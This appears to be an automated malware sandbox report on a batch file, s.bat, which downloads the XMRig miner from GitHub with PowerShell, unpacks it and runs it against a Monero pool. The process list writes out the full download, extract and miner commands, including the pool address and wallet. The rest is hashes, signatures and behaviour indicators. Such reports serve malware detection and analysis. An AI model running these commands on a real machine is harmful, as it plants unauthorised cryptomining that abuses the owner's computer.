Analysis
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max time kernel
827s -
max time network
1156s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20241211-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system -
submitted
21-12-2024 15:09
Behavioral task
behavioral1
Sample
s.bat
Resource
win10ltsc2021-20241211-en
Behavioral task
behavioral2
Sample
s.bat
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
s.bat
Resource
win10ltsc2021-20241211-en
General
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Target
s.bat
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Size
1KB
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MD5
ccc7afd46efac5aca2f96dc6c6d757b5
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SHA1
981911ae2cf8c85fd9bbb70ea938105617c2aefd
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SHA256
35347449c9856b13ee6f4131fc675270c55566881a19cc3d6bc5d2b0709412bb
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SHA512
1d336a5827812cd871bdb1459536c5052e4cc50bde82d3e5fd7e474a1488bf55a0763f1d2cac7f6569a2ac6334f066a465cb7b74e52ddbb2d23bd2a31e7b3563
Malware Config
Signatures
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XMRig Miner payload 2 IoCs
resource yara_rule behavioral1/files/0x0028000000046112-59.dat family_xmrig behavioral1/files/0x0028000000046112-59.dat xmrig -
Xmrig family
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Blocklisted process makes network request 2 IoCs
flow pid Process 4 3492 powershell.exe 8 3492 powershell.exe -
pid Process 3492 powershell.exe 640 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 3688 xmrig.exe -
Checks SCSI registry key(s) 3 TTPs 9 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe -
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 taskmgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString taskmgr.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 taskmgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString taskmgr.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 2780 timeout.exe -
Suspicious behavior: EnumeratesProcesses 40 IoCs
pid Process 3492 powershell.exe 3492 powershell.exe 640 powershell.exe 640 powershell.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 4288 taskmgr.exe 4288 taskmgr.exe 4288 taskmgr.exe 4288 taskmgr.exe 4288 taskmgr.exe 4288 taskmgr.exe 4288 taskmgr.exe 4288 taskmgr.exe 4288 taskmgr.exe 4288 taskmgr.exe 4288 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 19 IoCs
description pid Process Token: SeDebugPrivilege 3492 powershell.exe Token: SeDebugPrivilege 640 powershell.exe Token: SeLockMemoryPrivilege 3688 xmrig.exe Token: SeLockMemoryPrivilege 3688 xmrig.exe Token: SeDebugPrivilege 4628 taskmgr.exe Token: SeSystemProfilePrivilege 4628 taskmgr.exe Token: SeCreateGlobalPrivilege 4628 taskmgr.exe Token: 33 4628 taskmgr.exe Token: SeIncBasePriorityPrivilege 4628 taskmgr.exe Token: SeDebugPrivilege 3252 taskmgr.exe Token: SeSystemProfilePrivilege 3252 taskmgr.exe Token: SeCreateGlobalPrivilege 3252 taskmgr.exe Token: 33 3252 taskmgr.exe Token: SeIncBasePriorityPrivilege 3252 taskmgr.exe Token: SeDebugPrivilege 4288 taskmgr.exe Token: SeSystemProfilePrivilege 4288 taskmgr.exe Token: SeCreateGlobalPrivilege 4288 taskmgr.exe Token: 33 4288 taskmgr.exe Token: SeIncBasePriorityPrivilege 4288 taskmgr.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 3688 xmrig.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 4628 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe 3252 taskmgr.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 3828 wrote to memory of 3492 3828 cmd.exe 84 PID 3828 wrote to memory of 3492 3828 cmd.exe 84 PID 3828 wrote to memory of 2780 3828 cmd.exe 91 PID 3828 wrote to memory of 2780 3828 cmd.exe 91 PID 3828 wrote to memory of 640 3828 cmd.exe 93 PID 3828 wrote to memory of 640 3828 cmd.exe 93 PID 3828 wrote to memory of 680 3828 cmd.exe 95 PID 3828 wrote to memory of 680 3828 cmd.exe 95 PID 3828 wrote to memory of 1764 3828 cmd.exe 96 PID 3828 wrote to memory of 1764 3828 cmd.exe 96 PID 3828 wrote to memory of 3984 3828 cmd.exe 97 PID 3828 wrote to memory of 3984 3828 cmd.exe 97 PID 3828 wrote to memory of 636 3828 cmd.exe 98 PID 3828 wrote to memory of 636 3828 cmd.exe 98 PID 3828 wrote to memory of 4112 3828 cmd.exe 99 PID 3828 wrote to memory of 4112 3828 cmd.exe 99 PID 3828 wrote to memory of 916 3828 cmd.exe 100 PID 3828 wrote to memory of 916 3828 cmd.exe 100 PID 3828 wrote to memory of 3928 3828 cmd.exe 101 PID 3828 wrote to memory of 3928 3828 cmd.exe 101 PID 3828 wrote to memory of 5060 3828 cmd.exe 102 PID 3828 wrote to memory of 5060 3828 cmd.exe 102 PID 3828 wrote to memory of 3688 3828 cmd.exe 103 PID 3828 wrote to memory of 3688 3828 cmd.exe 103
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\s.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3828 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip -OutFile C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3492
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C:\Windows\system32\timeout.exetimeout /t 102⤵
- Delays execution with timeout.exe
PID:2780
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\xmrig"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:640
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo 312⤵PID:680
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo 122⤵PID:1764
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo 212⤵PID:3984
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo 352⤵PID:636
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo 352⤵PID:4112
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo 42⤵PID:916
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo 62⤵PID:3928
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo 02⤵PID:5060
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C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe"C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe" --donate-level 1 -o de.monero.herominers.com:1111 -u solo:46snjQGRP7EaVq5ByVkqeeQhDoNXfpLgeVUfyafhuoan4SdE6Sn3BVs4C4hykg6y3yWK5w1prCjx84nYs7egieBuAEG2YUX -p p1_ -a rx/0 -k2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3688
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4628
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3252
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4288
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
64KB
MD5d2fb266b97caff2086bf0fa74eddb6b2
SHA12f0061ce9c51b5b4fbab76b37fc6a540be7f805d
SHA256b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a
SHA512c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8
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Filesize
4B
MD5f49655f856acb8884cc0ace29216f511
SHA1cb0f1f87ec0455ec349aaa950c600475ac7b7b6b
SHA2567852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba
SHA512599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8
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Filesize
944B
MD56bd369f7c74a28194c991ed1404da30f
SHA10f8e3f8ab822c9374409fe399b6bfe5d68cbd643
SHA256878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d
SHA5128fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93
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Filesize
2KB
MD5ed30ca9187bf5593affb3dc9276309a6
SHA1c63757897a6c43a44102b221fe8dc36355e99359
SHA25681fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122
SHA5121df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810
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Filesize
1KB
MD578153de63c467e206b9b565dadeccfe6
SHA129ba7d083efb8e7c215d09dddd937ed8292d3f59
SHA2562cf859da0d2b6da20d4f3ce8c1d497ac9152c90b9640f92d033b0a679d2e3f93
SHA512913622de8c0885996a75f640b6e38300a0ca88d34f176c9f61eb5feb5c5be3e03868d3fceeb8c46b253d2977a2d8898cc4b10042940844f1d0af8a65b82f1a94
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
2.5MB
MD557b7ab5bce7d5e47fd168e1f0d437d32
SHA1050eeae3e0f0e876f9da175347b586871d14fe83
SHA2561d903d39c7e4e1706c32c44721d6a6c851aa8c4c10df1479478ee93cd67301bc
SHA5128cc6e3e0e78f706172a47bef261e1d73ce882ce531fe51177ba46cee659128e2115311d348ca07a717ff737e4bc802c7ca4cc57de716cbe55202b9482b5e2022
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Filesize
6.1MB
MD5f6d520ae125f03056c4646c508218d16
SHA1f65e63d14dd57eadb262deaa2b1a8a965a2a962c
SHA256d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1
SHA512d1ec3da141ce504993a0cbf8ea4b719ffa40a2be4941c18ffc64ec3f71435f7bddadda6032ec0ae6cada66226ee39a2012079ed318df389c7c6584ad3e1c334d